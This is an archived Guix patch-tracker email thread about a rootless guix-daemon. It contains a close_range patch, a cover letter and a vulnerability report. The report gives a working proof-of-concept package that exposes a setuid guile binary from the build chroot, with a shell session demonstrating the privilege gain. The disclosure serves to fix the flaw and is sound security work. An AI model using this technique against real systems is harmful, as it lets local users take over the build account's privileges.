 7bAd/X3xGfk3UO0lpYY1RU/3DX8TIJNRnM0geIxhrYduszsxV9NDo4dU+nV0P9ExYih8SdkMXTK2h
 Uq5QGXuLqzsnhG4ZS5Rr4NXosrnyYalrvbOJw6JbtYgc2puBcVwb9oEIpzk5lklUOUJ83yLSW7rvK
 dFgJshRBp/NHFuOBg009dgfEXFf1r75X7M0V1mro9qyn+IbZlh6t2Kum8ib/NqwrXdUmPY7b827Z9
 qCG0ddm0FfrHoA+JB+ra2Vdx7YCuHRXxCSNeRZ1KiTFWwzMSxREUYHUBtENOd73XUvMX98mj6jWZM
 g5y+rDUoTPvmTA==;
From: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
To: 75810 <at> debbugs.gnu.org
Subject: [PATCH v2 1/9] =?UTF-8?q?daemon:=20Use=20=E2=80=98close=5Frange?=
 =?UTF-8?q?=E2=80=99=20where=20available.?=
Date: Thu, 13 Feb 2025 13:13:04 +0100
Message-ID: <bd91ab23e03ab06c821e9e41b69c0f87c7945a85.1739448513.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.48.1
In-Reply-To: <cover.1739448513.git.ludo@HIDDEN>
References: <cover.1739448513.git.ludo@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Spam-Score: -2.3 (--)
X-Debbugs-Envelope-To: 75810
Cc: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -3.3 (---)

* nix/libutil/util.cc (closeMostFDs) [HAVE_CLOSE_RANGE]: Use
‘close_range’ when ‘exceptions’ is empty.
* config-daemon.ac: Check for <linux/close_range.h> and the
‘close_range’ symbol.

Change-Id: I12fa3bde58b003fcce5ea5a1fee1dcf9a92c0359
---
 config-daemon.ac    |  5 +++--
 nix/libutil/util.cc | 23 +++++++++++++++++------
 2 files changed, 20 insertions(+), 8 deletions(-)

diff --git a/config-daemon.ac b/config-daemon.ac
index 6731c68bc39..4e949bc88a3 100644
--- a/config-daemon.ac
+++ b/config-daemon.ac
@@ -78,7 +78,8 @@ if test "x$guix_build_daemon" = "xyes"; then
 
   dnl Chroot support.
   AC_CHECK_FUNCS([chroot unshare])
-  AC_CHECK_HEADERS([sched.h sys/param.h sys/mount.h sys/syscall.h])
+  AC_CHECK_HEADERS([sched.h sys/param.h sys/mount.h sys/syscall.h \
+    linux/close_range.h])
 
   if test "x$ac_cv_func_chroot" != "xyes"; then
     AC_MSG_ERROR(['chroot' function missing, bailing out])
@@ -95,7 +96,7 @@ if test "x$guix_build_daemon" = "xyes"; then
   dnl strsignal: for error reporting.
   dnl statx: fine-grain 'stat' call, new in glibc 2.28.
   AC_CHECK_FUNCS([lutimes lchown posix_fallocate sched_setaffinity \
-     statvfs nanosleep strsignal statx])
+     statvfs nanosleep strsignal statx close_range])
 
   dnl Check for <locale>.
   AC_LANG_PUSH(C++)
diff --git a/nix/libutil/util.cc b/nix/libutil/util.cc
index 3206dea11b1..eb2d16e1cc3 100644
--- a/nix/libutil/util.cc
+++ b/nix/libutil/util.cc
@@ -23,6 +23,10 @@
 #include <sys/prctl.h>
 #endif
 
+#ifdef HAVE_LINUX_CLOSE_RANGE_H
+# include <linux/close_range.h>
+#endif
+
 
 extern char * * environ;
 
@@ -1087,12 +1091,19 @@ string runProgram(Path program, bool searchPath, const Strings & args)
 
 void closeMostFDs(const set<int> & exceptions)
 {
-    int maxFD = 0;
-    maxFD = sysconf(_SC_OPEN_MAX);
-    for (int fd = 0; fd < maxFD; ++fd)
-        if (fd != STDIN_FILENO && fd != STDOUT_FILENO && fd != STDERR_FILENO
-            && exceptions.find(fd) == exceptions.end())
-            close(fd); /* ignore result */
+#ifdef HAVE_CLOSE_RANGE
+    if (exceptions.empty())
+	 close_range(3, ~0U, 0);
+    else
+#endif
+    {
+	 int maxFD = 0;
+	 maxFD = sysconf(_SC_OPEN_MAX);
+	 for (int fd = 0; fd < maxFD; ++fd)
+	      if (fd != STDIN_FILENO && fd != STDOUT_FILENO && fd != STDERR_FILENO
+		  && exceptions.find(fd) == exceptions.end())
+		   close(fd); /* ignore result */
+    }
 }
 
 
-- 
2.48.1





Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 13 Feb 2025 12:13:38 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Thu Feb 13 07:13:37 2025
Received: from localhost ([127.0.0.1]:41108 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tiY5z-0003cg-C7
	for submit <at> debbugs.gnu.org; Thu, 13 Feb 2025 07:13:37 -0500
Received: from eggs.gnu.org ([2001:470:142:3::10]:51184)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tiY5v-0003cC-Tp
 for 75810 <at> debbugs.gnu.org; Thu, 13 Feb 2025 07:13:29 -0500
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tiY5q-0001B9-EI; Thu, 13 Feb 2025 07:13:22 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:Date:Subject:To:From:in-reply-to:
 references; bh=iQGBJmWfz5H9oeW6AXc3OxWRIYKjYzuahq1EFH4TLac=; b=RT04WP6+2sT+IJ
 bcUxVAQ8NcH9t9/C8tl3d4ZZeFv+I4vU+A8Hf30YR/+pheuYZbReiWaXzIi9SK8z0XuKvazPjJ6jl
 E5oJSnPgWKOwBlLI419fbM04yaqJX5aF9YqdB8H0klpQC93f5sHsCd+3A1f9MQRNdANgSfZQpGINO
 rMiRbyrjakzL+Z2Mwc+eNdNRhWzhpEpTrouMeX/NGa7jSN/S6dTqbVjJgir8K24bXfh5iX5QL9zfv
 sFMLC0w5JmEa3DIbZhNvQ5616zvqsSUTMLHaMIa6NSvQ4dMWzsexPC7czx8PAER+ZzPVZ7ikn+mbt
 Bj4B8bcXg9vrrhJDGDQQ==;
From: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
To: 75810 <at> debbugs.gnu.org
Subject: [PATCH v2 0/9] Rootless daemon
Date: Thu, 13 Feb 2025 13:13:03 +0100
Message-ID: <cover.1739448513.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.48.1
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Spam-Score: -2.3 (--)
X-Debbugs-Envelope-To: 75810
Cc: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -1.0 (-)

Hello,

Here’s an update with some of the fixes suggested by Reepca:

  • Remounting inputs as read-only since MS_BIND | MS_RDONLY
    doesn’t do what one might think;

  • Bind-mounting everything and not just directories;

  • Adding tests to ensure that inputs cannot be remounted
    as read-write, overwritten, etc.;

  • Fix bogus synchronization for uid_map/gid_map creation;

  • Use ‘clone_range’ (unrelated to the rest of this series
    but nice).

One of the critical open issues that remain is the fact that
the root file system in the build environment is writable, and
thus a build process can (chmod "/" #o777) and expose setuid
binaries etc.

The other one is lack of support for read-only store remount
(‘--backing-store’ option has yet to be added).

Ludo’.

Ludovic Courtès (9):
  daemon: Use ‘close_range’ where available.
  daemon: Bind-mount all the inputs, not just directories.
  daemon: Remount inputs as read-only.
  daemon: Allow running as non-root with unprivileged user namespaces.
  DRAFT tests: Run in a chroot and unprivileged user namespaces.
  daemon: Create /var/guix/profiles/per-user unconditionally.
  daemon: Drop Linux ambient capabilities before executing builder.
  etc: systemd services: Run ‘guix-daemon’ as an unprivileged user.
  guix-install.sh: Support the unprivileged daemon where possible.

 build-aux/test-env.in       |  14 ++-
 config-daemon.ac            |   5 +-
 etc/guix-daemon.service.in  |  12 ++-
 etc/guix-install.sh         | 114 +++++++++++++++++++-----
 guix/substitutes.scm        |   4 +-
 nix/libstore/build.cc       | 171 ++++++++++++++++++++++++++----------
 nix/libstore/local-store.cc |  30 ++++---
 nix/libutil/util.cc         |  23 +++--
 tests/store.scm             | 144 ++++++++++++++++++++++--------
 9 files changed, 388 insertions(+), 129 deletions(-)


base-commit: bc6769f1211104dbc9341c064275cd930f5dfa3a
-- 
2.48.1





Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 31 Jan 2025 22:36:21 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Fri Jan 31 17:36:21 2025
Received: from localhost ([127.0.0.1]:55304 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tdzca-00010m-Om
	for submit <at> debbugs.gnu.org; Fri, 31 Jan 2025 17:36:21 -0500
Received: from mailout.russelstein.xyz ([2605:6400:20:11e::1]:35892)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <reepca@HIDDEN>)
 id 1tdzcV-00010X-LD
 for 75810 <at> debbugs.gnu.org; Fri, 31 Jan 2025 17:36:18 -0500
DKIM-Signature: v=1; a=ed25519-sha256; q=dns/txt; c=relaxed/relaxed;
 d=russelstein.xyz; s=ed25519; h=Content-Type:MIME-Version:Message-ID:Date:
 References:In-Reply-To:Subject:Cc:To:From:Sender:Reply-To:
 Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
 Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
 List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
 bh=WttHpXVgzn/HB06VS3KcNGePd+sdhHakYWPshDyVBZg=; b=zJ4gZ064TrvnicplXbZSduiIYB
 9VDfK8YMgMgC1/b7tBTvDkamCpwZyqfZYsTZDaJ/xgfXv9UqQ3kV1GMtEDAw==;
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
 d=russelstein.xyz; s=rsa; h=Content-Type:MIME-Version:Message-ID:Date:
 References:In-Reply-To:Subject:Cc:To:From:Sender:Reply-To:
 Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
 Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
 List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
 bh=WttHpXVgzn/HB06VS3KcNGePd+sdhHakYWPshDyVBZg=; b=iMHYBfl3aJtWCcKFbkysJnFRzA
 27Qh1UzIB6SwSO/02C2WmXUXH8afwz+v01GfJXSTfB9ggj9WFFjw8XW9g+ytnaooqkyqlcCZfK0DA
 hDtHelO+Xa0nG/3Qhz97CxUdUPi0CXCcOjJ0s7yHAtsj01eRVEIVUbxjkqr3GQihyXbAIF1g9aaFu
 qpdeLYfE7UEmfPYvnHHROXEIy7RwAj7hrXcPdsHlabgZ2bPJtsZ9XqADWJICi2YmXdhK1IrFPnMwu
 qpLp8PUMIdJ7YSJugN66UMvGxSTAfvRVXaeL/rPD5FVhkRPDTX+xjJglMdJJx5dzolK+SLGPK+5Rg
 v1hs18QvSLKPw7BmU2lZSn85Q/U/HcvXxxXiIox1052t51MlVPdeFZ8JC5sNl6YgfuvWrcyQhRPBl
 8XAxek455UNcd6gpR+yizrFT0P4NvQXzjoaTrPnj7oEmpdbUKCNDFEq8uBk5HqmbmtYvsvbzdhzyo
 i6+fz7oyBsoDnDlhOspuQDr7K4ZSKZKjTWZN2nSKlbE00Un6OfXQXIF1gr7s5V9jgfh5bwUo+SvB8
 rzz7ohd+cJpV6QHDdKCkF5SQlAlSsgP8eQI/mpjcfCkE4ud2QlFBfLtrFP8cjyvhBiy/+jERcl50s
 z7YGHrlOr9d4BILNe2FWEDPQouG4VXjvDc0Robi4c=;
Received: by russelstein.xyz with esmtpsa
 (TLS1.3:ECDHE_SECP256R1__RSA_PSS_RSAE_SHA256__AES_256_GCM:256)
 (Exim 4.98) (envelope-from <reepca@HIDDEN>)
 id 1tdzcR-000000006kN-2U8z; Fri, 31 Jan 2025 16:36:12 -0600
From: Reepca Russelstein <reepca@HIDDEN>
To: Ludovic =?utf-8?Q?Court=C3=A8s?= <ludo@HIDDEN>
Subject: Re: [bug#75810] [PATCH 0/6] Rootless guix-daemon
In-Reply-To: <87bjvshrk0.fsf@HIDDEN> ("Ludovic =?utf-8?Q?Court=C3=A8s=22'?=
 =?utf-8?Q?s?= message of "Mon, 27 Jan 2025 22:31:43 +0100")
References: <cover.1737738362.git.ludo@HIDDEN>
 <87r04qe7dj.fsf@HIDDEN> <87bjvshrk0.fsf@HIDDEN>
Date: Fri, 31 Jan 2025 16:35:24 -0600
Message-ID: <875xluehn7.fsf@HIDDEN>
User-Agent: Gnus/5.13 (Gnus v5.13)
MIME-Version: 1.0
Content-Type: multipart/signed; boundary="=-=-=";
 micalg=pgp-sha256; protocol="application/pgp-signature"
X-Spam-Score: 0.5
X-Spam-Bar: /
X-Spam-Score-Int: 5
X-Spam-Report: Spam detection software, running on the system "Sanctum",
 has NOT identified this incoming email as spam.  The original
 message has been attached to this so you can view it or label
 similar future email.  If you have any questions, see
 the administrator of that system for details.
 Content preview: I've found another vulnerability in using guix-daemon as the
 build user: the chroot root directory is owned by the build user. By itself
 this would normally only cause some reproducibility issues, but [...] 
 Content analysis details:   (0.5 points, 5.0 required)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 NO_RELAYS              Informational: message was not relayed via SMTP
 0.5 FROM_SUSPICIOUS_NTLD   From abused NTLD
X-Spam-Score: 1.1 (+)
X-Spam-Report: Spam detection software, running on the system "debbugs.gnu.org",
 has NOT identified this incoming email as spam.  The original
 message has been attached to this so you can view it or label
 similar future email.  If you have any questions, see
 the administrator of that system for details.
 Content preview: I've found another vulnerability in using guix-daemon as the
 build user: the chroot root directory is owned by the build user. By itself
 this would normally only cause some reproducibility issues, but [...] 
 Content analysis details:   (1.1 points, 10.0 required)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 0.6 PDS_OTHER_BAD_TLD      Untrustworthy TLDs
 [URI: russelstein.xyz (xyz)]
 0.0 SPF_HELO_NONE          SPF: HELO does not publish an SPF Record
 -0.0 SPF_PASS               SPF: sender matches SPF record
 0.5 FROM_SUSPICIOUS_NTLD   From abused NTLD
X-Debbugs-Envelope-To: 75810
Cc: 75810 <at> debbugs.gnu.org
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: 1.1 (+)
X-Spam-Report: Spam detection software, running on the system "debbugs.gnu.org",
 has NOT identified this incoming email as spam.  The original
 message has been attached to this so you can view it or label
 similar future email.  If you have any questions, see
 the administrator of that system for details.
 
 Content preview:  I've found another vulnerability in using guix-daemon as the
    build user: the chroot root directory is owned by the build user. By itself
    this would normally only cause some reproducibility issues, but [...] 
 
 Content analysis details:   (1.1 points, 10.0 required)
 
  pts rule name              description
 ---- ---------------------- --------------------------------------------------
  0.6 PDS_OTHER_BAD_TLD      Untrustworthy TLDs
                             [URI: russelstein.xyz (xyz)]
  0.0 SPF_HELO_NONE          SPF: HELO does not publish an SPF Record
 -0.0 SPF_PASS               SPF: sender matches SPF record
  0.5 FROM_SUSPICIOUS_NTLD   From abused NTLD
  1.0 BULK_RE_SUSP_NTLD      Precedence bulk and RE: from a suspicious TLD
 -1.0 MAILING_LIST_MULTI     Multiple indicators imply a widely-seen list
                             manager

--=-=-=
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable

I've found another vulnerability in using guix-daemon as the build user:
the chroot root directory is owned by the build user.  By itself this
would normally only cause some reproducibility issues, but that
directory is also visible from the outside world as
/gnu/store/...-packagename.drv.chroot.  Consequently, a simple chmod
from the builder can expose the contents of the chroot, including any
setuid programs.

Demonstration:

=2D-8<---------------cut here---------------start------------->8---
(use-modules (guix)
             (gnu)
             (guix build-system trivial))

(define-public sneakysneaky
  (package
    (name "sneakysneaky")
    (version "0")
    (source #f)
    (build-system trivial-build-system)
    (arguments
     (list
      #:builder
      #~(let ((guile (string-append (assoc-ref %guile-build-info
                                               'bindir)
                                    "/guile")))
          (chmod "/" #o777)
          (copy-file guile "/guile")
          (chmod "/guile" #o6755)
          (sleep 1000)
          (mkdir #$output))))
    (home-page "")
    (synopsis "")
    (description "")
    (license #f)))

sneakysneaky
=2D-8<---------------cut here---------------end--------------->8---

If I save this as /tmp/mal-test3.scm, I can observe the following:

=2D-8<---------------cut here---------------start------------->8---
user@debian:~$ guix build --derivations --no-grafts -f /tmp/mal-test3.scm
/gnu/store/qx5m1iq72628qy90wpwczypzfc28ss57-sneakysneaky-0.drv
user@debian:~$ guix build /gnu/store/qx5m1iq72628qy90wpwczypzfc28ss57-sneak=
ysneaky-0.drv
substitute: looking for substitutes on 'https://bordeaux.guix.gnu.org'... 1=
00.0%
substitute: looking for substitutes on 'https://ci.guix.gnu.org'... 100.0%
The following derivation will be built:
  /gnu/store/qx5m1iq72628qy90wpwczypzfc28ss57-sneakysneaky-0.drv
building /gnu/store/qx5m1iq72628qy90wpwczypzfc28ss57-sneakysneaky-0.drv...
  C-c C-z
[1]+  Stopped                 guix build /gnu/store/qx5m1iq72628qy90wpwczyp=
zfc28ss57-sneakysneaky-0.drv
user@debian:~$=20
user@debian:~$ ls /gnu/store/qx5m1iq72628qy90wpwczypzfc28ss57-sneakysneaky-=
0.drv.chroot
dev  etc  gnu  guile  proc  tmp
user@debian:~$ /gnu/store/qx5m1iq72628qy90wpwczypzfc28ss57-sneakysneaky-0.d=
rv.chroot/guile
guile: warning: failed to install locale
warning: failed to install locale: Invalid argument
GNU Guile 3.0.9
Copyright (C) 1995-2023 Free Software Foundation, Inc.

Guile comes with ABSOLUTELY NO WARRANTY; for details type `,show w'.
This program is free software, and you are welcome to redistribute it
under certain conditions; type `,show c' for details.

Enter `,help' for help.
scheme@(guile-user)> (geteuid)
$1 =3D 999
scheme@(guile-user)> (getegid)
$2 =3D 996
scheme@(guile-user)>=20
user@debian:~$ id
uid=3D1000(user) gid=3D1000(user) groups=3D1000(user),24(cdrom),25(floppy),=
27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev),113=
(bluetooth),117(scanner)
user@debian:~$=20
=2D-8<---------------cut here---------------end--------------->8---


The security impact of this could be resolved by doing the same thing we
do with build directories - have the actual mounted-into-the-chroot
directory be the "/top" subdirectory of the externally-visible chroot
directory.  In the example above, that would be
/gnu/store/qx5m1iq72628qy90wpwczypzfc28ss57-sneakysneaky-0.drv.chroot/top.
Due to the use of pivot_root, the upper .chroot directory would become
completely inaccessible to the builder, ensuring that it remains
inaccessible for unprivileged users.

I'm less sure about how to resolve the impact to reproducibility.  We
could try mounting the root directory specifically as read-only,
perhaps, though my understanding is that this may cause open, chmod, etc
to return EROFS instead of EACCES or EPERM.

=2D reepca

--=-=-=
Content-Type: application/pgp-signature; name="signature.asc"

-----BEGIN PGP SIGNATURE-----

iQFLBAEBCAA1FiEEdNapMPRLm4SepVYGwWaqSV9/GJwFAmedUCwXHHJlZXBjYUBy
dXNzZWxzdGVpbi54eXoACgkQwWaqSV9/GJyBtQgAmXPI8k1Os1tVCb6Py8Rn++1Q
tPR0TL9wItX0hN+RQTHNpIsPE6hbgc2FgKQ3zbIUk2D4VGn8YA1qh9nFt/UJMuoK
QGHbE+6ctuADAbU4KubRR5N/NxyP+IupG7zttEtiO6rOGfSeoVaugdsjoLE5ZUx1
MX9qr5asjfx8SO8oEkafM7bQpDDNJrTSj8OWrQ5KhJclIwMdaXVFGScJUU4igvZX
LfL4Bo8tnK2V6urP87xEDindHRBUsFLvI//TTUuZzl1qyYmB6+AFtRTfpr/zIQH5
m2gOdoXi3mbdOnNwD7q+BCfC7Nh+a/1mmfJrP/mRHfosYen4Jl8wnjWkFgucNQ==
=jv04
-----END PGP SIGNATURE-----
--=-=-=--




Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 29 Jan 2025 07:52:34 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Wed Jan 29 02:52:34 2025
Received: from localhost ([127.0.0.1]:39782 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1td2sD-0005tW-EQ
	for submit <at> debbugs.gnu.org; Wed, 29 Jan 2025 02:52:34 -0500
Received: from mailout.russelstein.xyz ([2605:6400:20:11e::1]:57690)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <reepca@HIDDEN>)
 id 1td2s9-0005tL-Nl
 for 75810 <at> debbugs.gnu.org; Wed, 29 Jan 2025 02:52:31 -0500
DKIM-Signature: v=1; a=ed25519-sha256; q=dns/txt; c=relaxed/relaxed;
 d=russelstein.xyz; s=ed25519; h=Content-Type:MIME-Version:Message-ID:Date:
 References:In-Reply-To:Subject:Cc:To:From:Sender:Reply-To:
 Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
 Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
 List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
 bh=gl+n7dEdqtg50yw59FPf0Baaad1/mvyEDFo+FqvjDr4=; b=5RPIHZEQvol8/XaJLDG1ZezzSz
 CQuOzmdZnJj5hKDmZ/QSYajJm8MkCDnC1UvYgk9oZ54zrBoXXaJm3eyuSdDg==;
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
 d=russelstein.xyz; s=rsa; h=Content-Type:MIME-Version:Message-ID:Date:
 References:In-Reply-To:Subject:Cc:To:From:Sender:Reply-To:
 Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
 Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
 List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
 bh=gl+n7dEdqtg50yw59FPf0Baaad1/mvyEDFo+FqvjDr4=; b=iFnP6sZhXNQBc82w2OHN+KmdZu
 xCpW8GRjL6uO8AAVhO1ENsBynewtzQGWumFKxLS70hi2PkqG/h1nyw/sPF/LG7MOZhRSuenMyQaKV
 Pk87OARprML/g46GVLvQEhUS6OYtMijZ7b18TGgwW53+Rwk39b3c9Soi5X5482Hm2jJWV18I8GD7F
 09pL6PbNZmdgMH+Ta3Hq/nppISp6VyNRftCyV8mJaJpc+LFCCAkCw99POxXE7UURFhY1xg2XzWg3r
 pfcfzZjSev/B8O13+e8pAUAY03kth0dPDTpmnGV8wwWFUz7Oo8IR5oVtsO26TTqucMq7yvJZ5yX5t
 JsnPUA8mv8aLzi/pEyHMKUsyQzqw9vIa9OWGh2mRtoOWv5MovVfVN1q6Yv+Kb3MpjWvqHzHHVPfXV
 wO0k7THzmk4M65D7xKhxsM/vLnpc+G4xBQ/YNIWFDeANAMVOnP75WV5OYfQE79GV65V3MQy7Lr358
 y11lsRG7df8dYedyzk3Oem1+TnSUOCMu4huV9jWp8aAElAmGpq0DBOAKIPteUE6YMnNT2Szri1UC4
 V/h8h/15ks4PXc1x1YNbDnh6JlpO8CaGWbdt7IebO9or2CLc9cCL71lD2r/ghUwu7tu6yDp3IZ1Yz
 F5wOW976RDSKcxO4HkXylhKbvkoHF58598Do1fRPo=;
Received: by russelstein.xyz with esmtpsa
 (TLS1.3:ECDHE_SECP256R1__RSA_PSS_RSAE_SHA256__AES_256_GCM:256)
 (Exim 4.98) (envelope-from <reepca@HIDDEN>)
 id 1td2s4-000000006WI-3kM4; Wed, 29 Jan 2025 01:52:26 -0600
From: Reepca Russelstein <reepca@HIDDEN>
To: Ludovic =?utf-8?Q?Court=C3=A8s?= <ludo@HIDDEN>
Subject: Re: [bug#75810] [PATCH 0/6] Rootless guix-daemon
In-Reply-To: <87bjvshrk0.fsf@HIDDEN> ("Ludovic =?utf-8?Q?Court=C3=A8s=22'?=
 =?utf-8?Q?s?= message of "Mon, 27 Jan 2025 22:31:43 +0100")
References: <cover.1737738362.git.ludo@HIDDEN>
 <87r04qe7dj.fsf@HIDDEN> <87bjvshrk0.fsf@HIDDEN>
Date: Wed, 29 Jan 2025 01:51:33 -0600
Message-ID: <87msfadpmi.fsf@HIDDEN>
User-Agent: Gnus/5.13 (Gnus v5.13)
MIME-Version: 1.0
Content-Type: multipart/signed; boundary="=-=-=";
 micalg=pgp-sha256; protocol="application/pgp-signature"
X-Spam-Score: 0.5
X-Spam-Bar: /
X-Spam-Score-Int: 5
X-Spam-Report: Spam detection software, running on the system "Sanctum",
 has NOT identified this incoming email as spam.  The original
 message has been attached to this so you can view it or label
 similar future email.  If you have any questions, see
 the administrator of that system for details.
 
 Content preview:  Ludovic Courtès <ludo@HIDDEN> writes: > Hello Reepca, >
   > Reepca Russelstein <reepca@HIDDEN> skribis: > >> user@debian:~$
    /gnu/store/8bjy9g0cssjrw9ljz2r8ww1sma95isfj-hello-2.12.1/bin/hello >> GOOOOOD
    BYYEEEEEE > > This particular [...] 
 
 Content analysis details:   (0.5 points, 5.0 required)
 
  pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 NO_RELAYS              Informational: message was not relayed via SMTP
  0.5 FROM_SUSPICIOUS_NTLD   From abused NTLD
X-Spam-Score: 1.0 (+)
X-Debbugs-Envelope-To: 75810
Cc: 75810 <at> debbugs.gnu.org
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: 1.0 (+)

--=-=-=
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable

Ludovic Court=C3=A8s <ludo@HIDDEN> writes:

> Hello Reepca,
>
> Reepca Russelstein <reepca@HIDDEN> skribis:
>
